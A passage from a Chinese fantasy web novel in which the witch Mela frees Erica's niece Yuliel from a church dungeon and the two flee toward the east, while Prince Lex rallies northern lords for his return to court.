埃布纳垂下眼帘,他知道,这笔钱他省不了,萨雷就是个见不着兔子不撒鹰的家伙,但就这么轻易地把一大笔黄金给出去,萨雷势必要对他产生怀疑。 怀疑埃布纳到底从哪攫取的黄金。 而他又能否分一杯羹。 甚至是将埃布纳踢出局,自个独吞剩下的黄金。 因此埃布纳还需要再和萨雷扯皮一阵,起码得谈判到一个双方都觉得占了便宜的价格,打消萨雷的疑心才行。 然而谁能想到,命运再一次眷顾了埃布纳。 他不需要让萨雷的骑士前往黑暗森林,也抓到了一个足够年轻的小女巫。 而埃布纳只为此付出了一点小小的代价。 如果他们信仰的神明真的存在,埃布纳绝不怀疑自己就是被神明钦点的人物,是势必要登上教皇宝座的命定之人。 想到这,埃布纳信步走入教会,同他匆匆赶来的心腹,即教会内的索力神父道:“让切诺恩家族的人来见我。记得让他们带上我要的货。” “现在?”索力神父有些奇怪。 作为埃布纳的心腹,他无疑知道埃布纳口中的“货”是什么东西,可即使是那一箱箱的黄金,埃布纳也从来都是光明正大地让人运进教会,哪里需要偷偷摸摸的在大晚上验货。 不过,既然是埃布纳的吩咐,索力神父还是很快离开了教会,前往了切诺恩家族在金橡城内购置的宅邸。 * 忽然到访的索力神父让卢尼不得不敲响了书房的大门。 侍女从书房内将大门打开,露出了克伦那张一如既往的冷脸,“什么事?” “索力神父来了,他说埃布纳主教刚才已经回到了教会。”卢尼道。 也就是说,他们现在必须立刻将埃布纳主教需要的货物带到教会。 “这老东西还真是会给人找事。”克伦恨恨地道。显然对大晚上被人打扰很是不爽。 “克伦少爷,”卢尼不得不提醒他,“请注意您的言辞,以及待会儿可千万别在索力神父面前摆脸色。” “我知道。”克伦没好气地答道,“行了,你让人把马车准备好,我们这就去教会。” 卢尼复又重新下楼。 过了大约一刻钟左右,他和克伦便坐上了前往教会的马车。 只是这回他们就不能像白天一样,光明正大地从教会的正门进去了,而是在索力神父的指引下绕道侧门,直奔花园。 埃布纳主教当然不会提前等在这,以他的身份,只会在索力神父回来后,再在他的陪同下姗姗来迟。 然而索力神父看着被挖开的泥土和不知被打开了多久的木门,只觉得眼前一阵天旋地转,几乎提不起力气抬腿去见埃布纳主教。 毋庸置疑,藏在这里的黄金一定失窃了。 可这到底是怎么一回事? 怎么可能有人能悄无声息地进入教会里偷东西? “这……”卢尼和克伦对视一眼,俱是面色一沉,对眼下的情况感到了同样的棘手。 作为为数不多的知情人,他们可不希望莫名惹上埃布纳主教的怀疑。 更不希望和埃布纳主教的这桩生意到此为止。 要知道切诺恩家族曾经只是雷德克里夫领的一个中等的商人家族,是与埃布纳主教合作后,才暗中经营到了如今的不输于其它大家族的财富与地位。 谁料他们本以为应该无忧的生意却在埃布纳主教这一方出了差错。 “你们在这守着,我先去找埃布纳主教过来。”极度的震惊过后,索力神父到底找回了理智,他必须尽快通知埃布纳主教才行。 卢尼和克伦没有意见。 于是就见索力神父的身影跌跌撞撞地朝主教所在的居所奔去。 另一头,塞拉斯在教堂外的一棵树上等得心急如焚,怎么还不见梅拉出来,隐形药剂的药效这会儿肯定已经过去了。 尤其它借着居高临下的方便,还清楚地看见了一群陌生人进入了教会之中,随后很快,教会四处扬起了火光,都是点燃的火把在照明,纷纷朝着某一个方向汇聚而去。 塞拉斯也不知道梅拉到底在哪,只能希望出事的地方不是梅拉所在之处。 “咕!咕咕!” 忽然,塞拉斯听见了它和梅拉约定好的暗号。 它立刻兴奋地朝着声音的来源飞去。 只不过嘴里还是忍不住道,“天呐,鸽子才不是这么叫的——” 第60章 第 60 章 [我不是艾莉卡,我是尤…… 艾莉卡出乎塞拉斯意料的年轻。 她看起来甚至比梅拉还要小上几岁, 年纪或许在二十岁上下。 “等等,这绝对不是艾莉卡吧?”塞拉斯终于反应过来。 不管再怎么显年轻,艾莉卡也不可能看起来比梅拉还小才对。 “你说的没错,她不是艾莉卡。”梅拉点头, 肯定了塞拉斯的猜测。 “我们难道找错人了吗?”塞拉斯惊讶极了。 它现在还在后怕, 要是刚才梅拉没能顺利从教会中逃出来该怎么办。 塞拉斯甚至想着,如果梅拉被抓住了, 它就只能陪着她一起上火刑架了——无论如何, 它是绝不会抛下梅拉的。 结果梅拉竟然告诉它, 她们从一开始就找错了人。 这岂不是闹了个大乌龙吗? “虽然她不是艾莉卡, 但生命之种对她有反应, 她与艾莉卡的关系定然很亲密。从这一方面来说,我们没有救错人。”梅拉拍了拍塞拉斯的脑袋,宽慰道。 更何况, 事情到了这个地步, 就算对方真的与艾莉卡毫无关系,梅拉也不可能眼睁睁地放任她继续留在地牢里受罪。 “那她现在是怎么了?为什么还不醒过来?”塞拉斯好奇地打量了昏迷中的女人两眼。 这会儿她们没有回奈夫的旅舍,梅拉还让塞拉斯带路,特意钻入了一条僻静的小巷子之中。 这里暂时没有任何人经过,梅拉便扶着女人靠墙坐下,塞拉斯则立在墙头负责警戒。 只不过,见女人一直不醒, 塞拉斯难免心焦, 担心时间拖得越久,越容易等来意外。 如今趁着夜色,是离开金橡城的最好时机。若是她们待到天亮,等教会的人回过神来发现女人不见了, 势必要平生波折。 “别担心,或许她待会儿就能醒过来了。”梅拉也说不准女人什么时候能醒。 从女人关在地牢中的情形来看,她无疑受到了教会的苛待,之前是硬撑着一口气,在梅拉的搀扶下逃出来的。 然而梅拉刚找到塞拉斯,就感觉肩膀上一沉,原来是女人晕了过去。 没办法,梅拉只好先找个安全的地方供她休息。 “我这是……顺利逃出来了?” 梅拉与塞拉斯说话间,昏迷过去的女人重新睁开了眼睛。 她虚弱地转头,看向了一旁的梅拉,“你是……艾莉卡姨妈提到过的梅拉?” “原来艾莉卡是你的姨妈。”梅拉顿时了然为何生命之种会对女人有反应了。 生命之种与艾莉卡之间便是通过血缘进行联系,故而也会和艾莉卡真正的亲人有所关联。 “没错,艾莉卡……是我的姨妈,我叫……尤莉尔。” 或许是太久没和人正常交流了,尤莉尔说话难免断断续续的,她需要利用较长的停顿进行思考,然后才能找到合适的措辞表达出自己的意思。 然而目前的情况并不适合她们慢慢地交换信息。 趁着尤莉尔现在是清醒的状态,梅拉立刻递给她一支变形药剂,“喝下它,变成另外一个样子,我们先离开金橡城再说。” “……好。”尤莉尔接过变形药剂,毫不犹豫地往嘴里倒。 接着她就在梅拉的眼皮子底下,迅速变出了另外一张陌生的脸。 “需要我扶你起来吗?”梅拉问。 “不用。”尤莉尔谢绝了梅拉的好意,自己扶着墙站了起来。 她刚才纯粹是累晕过去的。 现在休息了一阵,身体里恢复了不少力气,至少跟着梅拉离开金橡城不成问题。 梅拉看着尤莉尔走起路来,尽管动作仍有些迟缓,但她依然一步一步坚定地往前走着,仿佛身体内憋着一股无名的力量,在支撑着她前行。 心知尤莉尔真的不需要她帮忙,梅拉也就彻底不把她当一个需要背负的重担来看了,而是低声与她耳语了几句,商量好了待会儿该如何出城。 因为萨雷伯爵生日的缘故,时不时就有马车从城外驶入,负责守卫城门口的士兵一边懒洋洋地打了个哈欠,一边抬手放行了又一辆马车。 与此同时,他用眼角的余光捕捉到了一抹一掠而过的白影,等他瞪大眼睛仔细一看,才发现刚刚原来是只白鸽飞了过去。 “奇怪,这么晚了怎么还有鸽子在天上飞?难道它晚上不用睡觉吗?”士兵狐疑地挠了挠脸,忍不住琢磨鸽子到底是在白天睡觉,还是在晚上睡觉。 趁着士兵的注意力被塞拉斯吸引走的这短短几瞬,好不容易等到几辆马车连着要进城的时机,梅拉与尤莉尔蹑手蹑脚地绕到马车的背后,借着马车遮掩身形,迅速地溜了出去。 很快,她们离金橡城的城门越来越远。 为了避免撞上其他人,梅拉与尤莉尔没有选择走平坦的大道,而是毫不犹豫地钻入了灌木丛后的荒僻小路。 既然是荒僻的小路,一路上自然少不了忽然冒出来的荆棘划破衣袖,挡路的小石子绊住脚跟。 这些都不算什么。 梅拉眼尖地看见地上有一根拇指粗细的藤蔓,提前跨大步子迈了过去,却没想到身后还是传来扑通一声,是尤莉尔被藤蔓绊住,摔倒在了地上。 尤莉尔毕竟在地牢里被关了不久,期间又受到了不少折磨,哪怕凭着一腔意志,硬生生把嘴唇都咬出血了,紧跟上了梅拉的步伐,这会儿还是一个没反应过来,让地上的藤蔓狠狠绊了一跤。 尤莉尔双手撑地,试图重新站起来,双腿却忍不住地打颤,她实在是走不动了。 之前好不容易恢复的些许体力,如今又消耗了个一干二净。 “算了,我们还是先休息一下吧。” 梅拉见状,连忙返回去将尤莉尔扶起来,带着她到一棵大树下,靠着树坐了下来。 其实折腾了这么大半个晚上,再加上一路走来,梅拉也有些累了。 反倒是尤莉尔挣扎着,不肯休息,“不行,这里离金橡城还是太近了,万一教会派人追上来,我们两个一个也跑不了……” “可你现在难道还走得动吗?”梅拉平静地指出一个事实。 “我——”尤莉尔当然想嘴硬地回答她可以,然而她话还没说完,就被梅拉抢了先。 “就算你可以,我也走不动了,我必须要休息。” 说着,梅拉伸手招呼天上的塞拉斯。 塞拉斯立马会意地落入了她的怀里,一人一鸟就这么休息了起来。 这下,尤莉尔是真的无话可说了,也只能赌气跟着一起休息。 “对了,趁现在有时间,你不如说说你是怎么落到教会手中的?”梅拉好奇地问道。 “……”尤莉尔沉默半晌,尽量用最简短的话语说了一个故事。 尤莉尔从小是被艾莉卡养大的。 只不过,随着她逐渐长大,难免想要有一栋属于自己的屋子。 而得知尤莉尔想要离开这一决定后,艾莉卡并没有对她进行挽留,反而像是终于解脱了一样道:“太好了,我也不习惯一直带孩子,你想走就走吧。” 女巫就是这样,比起与亲人同住,享受天伦之乐,她们更喜欢独自居住,将更多的时间留给自己,一个人享受思考。 因此尤莉尔并没有因为艾莉卡的态度而感到伤心,时不时还会离开自己的屋子,前来拜访艾莉卡,看看她的近况。 然而去年五月,尤莉尔看着洞开的木门,空荡荡的屋子,立刻意识到艾莉卡不见了。 如果她是正常离开,没道理不给尤莉尔留下纸条,告知她的下落,让尤莉尔别担心。 而尤莉尔翻遍了整座屋子,都没找到艾莉卡给她留下的只言片语。 那么只剩下一个可能,艾莉卡并不是自愿离开的。 于是,尤莉尔离开了原先居住的地方,一路跟着星星的指引来到了雷德克里夫领。 同时在这里邂逅了一对可怜的祖孙。 “你应该知道,去年差点发生了旱灾,即使旱灾最后没有形成,仍然有很多人死在了秋季之前。”尤莉尔咬了咬嘴唇,道。 而这对祖孙,就是因为缺水倒在路边,让路过的尤莉尔顺手救了过来。 他们为了答谢尤莉尔,便热情地邀请她到了家里,拿出了为数不多藏起来的豆饼,用来招待尤莉尔。 尤莉尔不好开口拒绝他们的好意,只好将豆饼接了过来。 此时,那名头发花白,名叫安东的老爷子问尤莉尔是从哪来,听着不像是雷德克里夫领会有的口音。 尤莉尔当然不可能对他坦白自己的身份,于是从两人倒在路边的事情中得到了灵感,撒谎说自己是逃难来到雷德克里夫领的,让老爷子千万别说出去。 安东立刻拽着他的孙子连连保证,他们绝对不会出卖尤莉尔。 谁让尤莉尔是刚刚救了他们俩一命的大恩人呢。 同时为了报恩,安东极力邀请尤莉尔在他们这里住下,就算要走,也得等情况好转了再说。 哪怕他们祖孙俩前不久才因为缺水在路边晕倒,但要安东说,其它领地的情况还未必比如今的雷德克里夫领要好。 尤莉尔当然可以拒绝安东,一走了之,但看着安东和他的孙子都是一副皮包骨头的模样,等她走后十有八九熬不过这个夏季,尤莉尔心软了。 她想着,毕竟是她救回来的两条命,就帮他们一把,等秋天到了她再离开也不迟。 尤其星星说,艾莉卡的情况并没有她想象的那样糟糕,甚至最开始的动荡过去,艾莉卡逐渐处于一个平稳的状态,尤莉尔也就不急着非要尽快赶到艾莉卡的身边了。 “我想办法炼制出了生长药剂,偷偷倒入了他们的地里,等到秋天,他们果然翻倍收获了超出往年的粮食。”尤莉尔还能回想起安东望着金灿灿的麦子,笑得脸都皱了起来的样子。 他说,这一定是尤莉尔带来的幸运。 因此非得将一半的麦子送到磨坊那磨成粉,给她做成了干粮,带在路上吃。 此时,尤莉尔通过这段时间的观察和模仿,成功练就了一口雷德克里夫领口音,即使之后与人搭话,也不用担心会露馅。 于是她带着安东给的干粮,挥别了那栋麦田边上的破败小屋子。 “可是,在我离开没多久之后,我就遭到了来自教会的抓捕。” “我努力地逃,甚至在山上躲过了整整一个冬季,却仍然在试图下山的时候被一群骑士给发现了。” “他们的人数太多了,不停地冲我射出利箭,我根本没办法逃开。” 尤莉尔双手环抱住膝盖,将脸埋进去,回想起那无助的时刻,声音难免带上了一丝哽咽。 即使是女巫,也不过是一具血肉之躯,她们如果能单枪匹马地对付一队训练有素的骑士,当初又怎么会被国王和教会联手逼得销声匿迹,不敢再在人群之中轻易露面。 总之,尤莉尔就这么被抓住了,在她重伤昏迷时,又被带到了金橡城,关入了教会的地牢之中,度过了暗无天日的一段时光。 如果不是梅拉,她大概还要继续那样奄奄一息地活下去。 埃布纳主教生怕尤莉尔逃跑,根本不敢让尤莉尔有恢复的机会,不仅故意饿着她,等她身上的伤有痊愈的迹象时,又马不停蹄地加上了新的伤痕。 听完尤莉尔的故事,梅拉沉默了,假如她当初在白松镇被抓住,或许就和曾经的尤莉尔是一个下场吧。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第 61 章 [短暂的休息] “说起来, 艾莉卡是怎么和你提起我的呢?” 察觉到尤莉尔的情绪似乎有些低落,梅拉体贴地转移了话题。 然而她怎么也没想到,这个话题竟然比教会对尤莉尔的伤害还要危险。 只见尤莉尔“蹭”的一下抬起头,眼神幽幽地盯着梅拉: “啊, 姨妈可是和我说了呢, 她当年遇见了一个特别聪明的小姑娘,聪明到还是一个普通人的时候, 就能记住她只用过一次的昏睡咒。还成功对她施展了出来。” 尤莉尔眼前好像又出现了艾莉卡提起梅拉, 嘴角含着笑意的模样。 她说梅拉是她见过的第一个靠自己成为了女巫的小姑娘。 她说梅拉的天赋好到她这个天生女巫都要嫉妒。 她说梅拉如果愿意和她一起离开就好了, 她想亲眼见证最厉害的女巫的诞生。 那样带着骄傲的语气, 艾莉卡从来没对尤莉尔用过。 仿佛作为生下来就是女巫的尤莉尔, 做什么都是理所当然的。 而她的光芒在梅拉面前根本不值一提。 就像一颗星星对上了另一颗更亮的星星。 想到这,尤莉尔盯着梅拉的眼神顿时更加深邃了,似乎想从里到外彻底看穿她这个人。 结果梅拉像是一点也没把尤莉尔的打量当回事, 气定神闲地点头道, “没关系,等我们找到艾莉卡,她就能亲眼见到我如今可比她要厉害多了。” “……等等,你要和我一起去找姨妈?”尤莉尔让梅拉的决定打了个措手不及。 她原本都想好了,等找到一个安全的地方后就顺理成章地与梅拉分别,然后自己一个人重新上路。 她仍然没有放弃要去寻找艾莉卡的下落。 结果梅拉说,她也要跟她一起? “没错。”梅拉微笑着站起来。 “其实我本来想着救出你之后, 就带着塞拉斯回到黑暗森林的, 但你不是说了艾莉卡想要见到成长后的我吗?看在她勉强也算是教导我成为女巫的老师的份上,我当然要满足她的心愿了。” ……她现在把刚才说的话收回去还来得及吗?尤莉尔一点也不想和梅拉成为同伴。 不如说,对于能在艾莉卡嘴里占有一席之地的梅拉,尤莉尔是有些说不清道不明的嫉妒的。 看着尤莉尔一副吃瘪的样子, 梅拉心情颇好地加深了嘴角的笑意,“休息好了吗?休息好了我们就继续前进吧,先找个能落脚的地方,养好你这身伤再说。” 说完,梅拉率先抬腿离开。 塞拉斯看了看落在后头,与梅拉保持着不远不近距离的尤莉尔,凑到梅拉耳边小声问道:“你刚才是故意逗她才这么说的吧?” 塞拉斯偶尔也有脑袋灵光的时候,譬如它就能察觉梅拉加入尤莉尔,一起去找艾莉卡的真实原因一定不像她刚才所说的那样轻松。 “当然。”梅拉拨开又一团草丛,同样刻意压低了音量,轻声答道。 “我说了,艾莉卡算是我的老师,我总得确认她现在到底是什么情况。” 根据尤莉尔说的,梅拉也觉得艾莉卡的消失不太正常,哪怕她是主动选择了离开,事情也一定发生得十分突然,才让她连给尤莉尔留个消息都忘了。 那么问题来了,什么样的事情会让艾莉卡慌张到这种程度呢? 梅拉的眸色深了一瞬,更别提尤莉尔的遭遇也让她隐隐从其中嗅出了一股不对劲的味道,教会对女巫的态度好像变了。 以前他们是恨不得将女巫统统驱逐出属于普通人的城镇,甚至赶尽杀绝,若是有倒霉的女巫一旦被抓住,会被马不停蹄地送上绞刑架,当着众人的面活活烧死。 然而从尤莉尔被抓住后过了起码一月有余,尽管她在这过程中受尽折磨,却仍然留下了一条命来看,教会似乎不想着要杀死女巫了。 那他们想做什么? 又或者,不是教会改变了对女巫的态度,而是个别人有了其他的想法。 总之,一个个谜团如同打乱的毛线团一样纠缠在一起,让梅拉暂时理不清头绪。 但她很清楚,仅凭尤莉尔一个人,是不可能在保证自己安然无恙的同时顺利找到艾莉卡的,她不把自己搭进去就不错了。 没办法,和曾在镇子上与普通人生活过的梅拉不同,尤莉尔从有记忆起,就和艾莉卡躲在山上的小屋里,几乎从没有和其他人打过交道。 论起和人相处时的单纯和没心眼,尤莉尔与格温蒂尔比起来简直有过之而无不及。 * 梅拉一行人这一夜走走停停,终于在天亮时抵达了一个名不见经传的小镇,名为灰石镇。 “你先在这等着,我去镇上给你买一套完整的衣服回来换上,我们再一起进入小镇。”望着不远处的灰石镇,梅拉道。 “好。”尤莉尔点头应下,她也知道不能就这么顶着这一身破破烂烂的衣服走入灰石镇,否则那不就是明晃晃地和众人大声宣告我的来历有问题么。 还是生怕别人不会起疑,然后把她们的行踪告到税务官那,让税务官派人把她们抓起来。 于是梅拉便将塞拉斯一同留下,独自进入了灰石镇中。 灰石镇没有任何特殊的物产,因此哪怕毗邻金橡城,却并不招人眼,顶多是过往的商人将这里当做一个暂时的落脚点,在前往金橡城的途中歇一晚,因此这里有许多大大小小的旅舍与酒馆,不停地有人进出,倒是方便了梅拉与尤莉尔藏匿。 梅拉不打算在镇子上多逛,目标明确地直奔买衣服的地方,迅速买了一条样式简单但裹得严严实实的裙子,离开镇子,供尤莉尔换上。 她满意地看着裙子将尤莉尔身上的伤口全部遮了起来。 “好了,我们走吧。” 这下她们可以一起进入灰石镇了。 梅拉依旧挑了一间躲在角落里的小酒馆。 因为是白天,酒馆里的客人少得可怜,梅拉要的野菜粥和南瓜浓汤很快就分别送到了她与尤莉尔的房间。 野菜粥是梅拉给尤莉尔点的,她的肠胃被饿了这么久,即使再饥肠辘辘,也不适合一上来就吃肉。 南瓜浓汤则是梅拉给自己点的,她奔波了这一阵,就想吃点没那么干巴的食物。 塞拉斯什么也没吃。 这会儿比起食欲,它更想要满足自己想要睡觉的欲望。 要知道它的两个眼皮早就在打架了。如果不是靠着强大的意志力,塞拉斯根本撑不下来。 因此一见到床,塞拉斯就倒到了枕头上,立刻坠入了梦乡之中。 梅拉也困,但她还记得吃完东西后不能马上躺上床,硬撑着又站了会儿,才倒到床上和塞拉斯凑到了一起,脸贴脸地睡着了。 这一觉竟然直接睡到了晚上。 等梅拉睁开眼,看到屋子里黑漆漆的,才意识到要起来点亮墙上挂着的煤油灯。 塞拉斯还在睡着,肚子随着呼吸一鼓一鼓的,看得出来是真的累狠了。 直到梅拉端来了晚餐,食物的香气才勾着塞拉斯迷迷糊糊地睁开眼。 即使它还没有完全清醒,还是下意识地拍打着翅膀往梅拉身上飞。 “嘿,塞拉斯,快清醒过来。”眼见塞拉斯差点撞到盘子上,梅拉不得不抽出一只手把它拦下来。 塞拉斯也让自己吓了一跳,这下它是彻底清醒了过来,“瞧我差点都干了什么蠢事……” “好了,快过来赶紧把你的肚子填饱吧。”梅拉倒是没有要责怪塞拉斯的意思,她把托盘放到桌子上,坐了下来,同时体贴地把食物倒到了专门要来的小碗里。 塞拉斯凑过来一看,晚餐竟然是炖肉和烘烤过的卷心菜,顿时美滋滋地抓过刀叉开始埋头苦吃。 “咚咚咚。” 房门忽然被敲响。 梅拉推开椅子站起来,走到门口一拉,门外站着的果然是尤莉尔。 她显然也睡了充实的一觉,眼睛里重新焕发了些许神采。 “有什么事吗?”梅拉问。 尤莉尔示意自己要进来,等谨慎地把门关上了,她才道,“当然有事了,难道我们不商量一下下一步该去哪吗?” “唔……”梅拉沉吟片刻,侧头看了眼紧闭的窗,“星星不是会告诉我们,该去哪找艾莉卡吗?” 言下之意便是,这有什么好商量的。 跟着星星的指引走就好了。 没想到这个提议正中尤莉尔的下怀,她存着几分要和梅拉比试的心思,故意道:“星星告诉我,如果我们想找到有关姨妈的踪迹,需要离开雷德克里夫领,前往东方。” “这样啊,那我们明天就往东方去吧。”梅拉一锤定音道。 “等一下,你为什么就这么直接同意了,难道你不亲自看一眼星空吗?”然而尤莉尔却傻眼了。 “我为什么要怀疑你的占星术?”梅拉才要奇怪地反问,“你是艾莉卡教出来的,总不可能连占星术都学不会吧?” “什么叫‘总不可能连占星术都学不会吧’?你知不知道就算是女巫,大多数也只懂得利用水晶球进行占卜。一旦没了水晶球,她们就像厨子没了锅一样束手无策。”尤莉尔忍无可忍的道。 梅拉刚刚这么说,绝对是故意的吧?就为了炫耀她的天分极高。 可惜梅拉无辜地一摊手,“噢,这件事我还真的是第一次知道,毕竟我只认识艾莉卡这一个女巫。不对,现在要加上一个你了。” 所以,梅拉是真的不知道占星术对于大多数女巫来说是一门极难入门的学问。 明明占星术是最传统的,只有女巫才能学习的预言术。 如果连女巫自己都学不会,那占星术该怎么流传下去呢? “……我要回房间了。”尤莉尔硬邦邦地道。 她总觉得继续和梅拉说下去,她会忍不住更加嫉妒她的天赋。 要知道当初十二岁的尤莉尔第一次成功靠占星术预言了未来一个月的天气时,激动得根本睡不着。 还因为这事被艾莉卡笑话了好一阵。 想到艾莉卡,尤莉尔的神色变幻,她的艾莉卡姨妈,此刻到底在哪里呢? 第62章 第 62 章 [莱克斯剧情居多] 既然决定好了去向, 第二天一早,梅拉一行就不动声色地离开了灰石镇。 只不过在具体的路线上,梅拉与尤莉尔产生了一点小小的分歧。 尤莉尔认为,她们应该一路径直往东前进, 这是最快也是最短抵达艾莉卡所在之地的路线。 梅拉却有不同的意见:“我们目前最应该做的是尽快离开雷德克里夫领, 防止教会的人追上来。” 如果按照尤莉尔的想法,她们起码得花大约七天的时间才能离开雷德克里夫领。在此期间, 若是教会的人追上来了, 她们两的情况顿时变得岌岌可危了起来。 但要是按照梅拉的想法, 她们完全可以只用三天就抵达毗邻雷德克里夫领的加德纳领。 即使是教会的追兵, 在没有国王特许的情况下, 也是不能进入其他领主的领地的。 因此为了以防万一,梅拉觉得她们必须得绕一下远路。 “我觉得没有这个必要。”尤莉尔依旧坚持己见,“只要我们一路做好隐藏, 他们绝对不可能知道我们逃向了哪个方向, 更不可能追上来了。” 尤其她们现在已经离开金橡城很远了,教会的人即使有心,大概也无力追踪她们的下落。 “那他们当初是怎么抓住你的呢?”面对尤莉尔的固执,梅拉的语气也变得不太客气起来,“你难道觉得那些围堵你的骑士全都是教会的人手吗?” 教会是能蓄养一定数量的骑士不错,但整个教会的骑士凑到一起也不过两三百人,还要随着各个主教分散在王国各地, 按理说这么点人是不可能将尤莉尔困在山上一个冬季的。 除非这里头还有别人掺和在其中。 譬如此地的领主, 萨雷伯爵。 倘若有萨雷伯爵的帮忙,教会甚至不需要大费周章地搜寻她们的下落,只要派人守住雷德克里夫领的边境,守株待兔就行。 所以梅拉才认为, 她们现在正应该趁雷德克里夫领没来得及被封锁,赶紧离开。 “好吧,那你说我们接下来该怎么走?”听了梅拉的一通分析后,尤莉尔被说服了。 “很简单。” 梅拉捡来一根树枝,在地上画了一幅简易的地图,然后圈起了一个小点,告诉尤莉尔,“我们现在就在这里。” “接下来,我们需要穿过这个山谷,再连续通过三个小镇,就能抵达加德纳领最边缘的辉光小镇了。” 梅拉一面和尤莉尔解释,一面在地上划出了一条弯弯绕绕的路线,显然对她们的行进计划早有打算。 看着梅拉说得头头是道的样子,尤莉尔不免感到有些奇怪:“为什么你会对这些地方如此熟悉?” 就好像亲自走过一趟似的。 这个啊,当然是托了莱克斯的福,毕竟没有人会比一位未来的国王更加熟悉他的王国。 梅拉轻挑眉梢,故意找了个别的话题将尤莉尔糊弄了过去。 以莱克斯的身份,尤莉尔听了百分百会炸,若不是当初王室的迫害,女巫们怎么会沦落到如今过街老鼠一样的地步。 梅拉能够理解尤莉尔对所有姓努伦格尔的人的仇恨,但也不想在这种需要同行的节骨眼上节外生枝。 说起来,莱克斯离开这么久,也不知道他过得如何了,是否已经重新回到了王宫之中。 * “殿下。” 切尔各走过长长的走廊,站到了莱克斯的身边。 靴子敲打地面,传出空荡的回音。 和王宫更奢靡华丽的风格不同,北地因为贫穷,即使是领主的庄园,采用的也是更加粗犷豪放的风格,譬如直接在空旷的土地上用一根根巨大的石柱撑起了庞大的建筑物,仿佛一尊巨兽,远远看着便叫人望而生畏。 就连花园里栽种的也不是娇滴滴的玫瑰,而是能在凛冬怒放的赤色雪铃。 尽管如今还不到赤色雪铃盛开的季节,久经风霜的石头墙上挂着的仅是几条细长的根茎。 此时的莱克斯已经换下了在黑暗森林时所穿的简陋的衣衫,繁复的领子堆叠出天鹅一样修长的脖颈,金光闪闪的纽扣在阳光下闪动着金属的光泽,瞥过来的一眼更是带着慑人的气势。 这样高贵、威仪不容侵犯的莱克斯,是切尔各熟悉的莱克斯,也是令收到密信赶往雅兰特领的各大领主们愿意臣服的王储殿下。 “您的计划很顺利,这些领主们看起来都十分愿意成为您的助力,为您重回王宫而效劳。”切尔各道。 从黑暗森林离开之后,莱克斯带着切尔各悄然朝北方出发,来到了雅兰特领,见了葛宁克一面。 葛宁克确实如莱克斯所想的那样,顺利地到了雅兰特子爵的身边成为了他的贴身侍从,然而面对莱克斯时,他也诚实地说了雅兰特子爵或许不是一位能够信任的对象。 莱克斯颔首,对葛宁克的说法并不感到意外,显然早有预料。 于是半个月后,新一任的雅兰特子爵匆匆上位,还将莱克斯与切尔各以贵客的身份迎进了庄园。 同时,莱克斯派了人秘密送信给北地的其他领主,约他们到雅兰特庄园悄然会面。 切尔各本来还担心,愿意应邀而来的领主并不多,然而这两天陆续从庄园外驶入的马车让站在二楼落地窗前的他小小地吃了一惊。 十三位领主,竟然一个不落的全都来了。 见状,莱克斯不甚在意地勾了勾唇角。 就如同现在一样。 “他们当然愿意为我效劳。毕竟他们已经在这荒芜贫瘠的北地太久了,如果不拼这一把,又怎么从其他领主手中狠狠咬下一块肉来。”莱克斯漠然道。 关于富饶的土地,这些北地的领主们是不想了,但其他领主手中世代积攒下来的财富,他们倒是可以想一想。 “尤其比起现在才六岁的西维里,我显然是一个更值得下注的选择。” 这些天里,莱克斯通过雅兰特子爵之口,了解了不少有关他这位弟弟的事情。 一个连练习剑术的苦都吃不了,只会同母亲撒娇的小孩对莱克斯的威胁根本不值一提。 他唯一能和莱克斯分庭抗礼的地方,只在于他有个精心筹谋多年,又深得努伦格尔九世宠爱的王后母亲。 再加上伊莱雅这些年断断续续地换了不少人,将当初稍有些亲近莱克斯的大臣换了个七七八八,转而提拔了不少她的亲信。 包括她的两个堂兄,安东尼奥和凯尔多。一个成了如今的宰相,一个自切尔各离开后顶替了他骑士长的位置。 因此即使莱克斯回到了王宫之中,也会受他们的牵制,处处掣肘。 这也是莱克斯选择先到雅兰特领的原因。 他需要一批支持自己的势力。 说起来还要多谢伊莱雅想出的昏招,竟然给了领主们名正言顺吸纳一大批奴隶的机会,否则莱克斯就算得到了北地领主们的支持,也不足以撼动伊莱雅经营多年的势力。 这可是上万名亟待训练就能上战场的战力。 当人数拉上来了的时候,双方在武器、装备甚至训练多年配合默契上的实力就未必悬殊了。 “那我们还要继续留在雅兰特领吗?”切尔各问。 莱克斯却道,“不,我们要去找斐南基。” 不说别的,斐南基的弗霍斯特领虽然没有南方那样大片大片肥沃且平坦的土地,但却有产出大量海盐的海场。 那白花花的海盐通过源源不断的马车流到各地,又带回小山似的足以与太阳比试谁更耀眼的金币。 莱克斯想要获得北地领主们提供的军队,除了登上王位后的许诺,也要有肉眼可见的利益引诱才行。 养一支军队可是很费钱的。 更何况,莱克斯又道,“我需要斐南基的智慧和声望。” 当年,斐南基就以出众的智慧闻名王国,否则也不能才二十多岁就受到努伦格尔九世的青睐,一举成为了最年轻的宰相。 而斐南基担当宰相这么多年,声望自然不可小觑。哪怕他前几年就回到领地,重新当起了他的弗霍斯特侯爵也一样。 “说起来,我也很久没见过斐南基那家伙了啊。”切尔各笑道。 提起这个多年前的老朋友,他的心情自然要放松许多。 尽管他们的情谊也不耽误切尔各当初得知莱克斯侥幸逃过一劫后,就不辞而别地离开了斐南基在王城的宅邸,甚至故意躲着他派出来的人手一样。 面对莱克斯的揶揄,切尔各叹了口气,“没办法,毕竟我们都不能像信任彼此一样信任斐南基啊,殿下。” 闻言,莱克斯顿时默然不语。 切尔各说得没错,他之所以对莱克斯如此忠心耿耿,是因为他感激莱克斯的母亲,莉莉勒斯曾经对他的提拔之恩。 可以说如果不是莉莉勒斯出言,肯定了切尔各的能力,给了切尔各一个公平竞争的机会,切尔各哪怕武艺再高,也不可能坐到骑士长的位子上。 但斐南基,他是努伦格尔九世选定的宰相。严格来说,他效忠的对象其实是努伦格尔九世才对。 如果不是莉莉勒斯提前将他扒拉给了莱克斯当老师,仅仅是王储与宰相之间的关系,可不值得斐南基后来在努伦格尔九世和伊莱雅面前屡屡回护莱克斯。 因此,他和莱克斯之间始终隔了一层。 但没关系,莱克斯不在乎这个,因为在他无法和斐南基更进一步的时候,敌人甚至愚蠢地将斐南基推得更远了。 “明天一早,我们就离开雅兰特领。”莱克斯对切尔各吩咐道。 “好。”切尔各没有异议,同时心下盘算着该如何以最快的速度前往王国的东边,即斐南基所在的弗霍斯特领。 第63章 第 63 章 [辉光小镇] “隔壁雷德克里夫领最近出什么大事了?竟然派了那么多人守在边境。” “好像是在找一个女人。” “女人?什么女人?” 听着隔壁桌的男人们口风渐渐转为暧昧的打探, 